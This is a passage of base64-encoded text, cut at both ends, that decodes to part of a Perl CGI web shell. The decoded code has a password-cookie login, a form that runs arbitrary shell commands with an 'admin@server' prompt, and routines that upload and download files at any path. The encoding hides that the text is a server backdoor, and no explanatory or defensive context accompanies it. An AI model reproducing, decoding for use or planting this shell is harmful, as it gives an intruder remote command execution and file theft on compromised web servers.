tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiR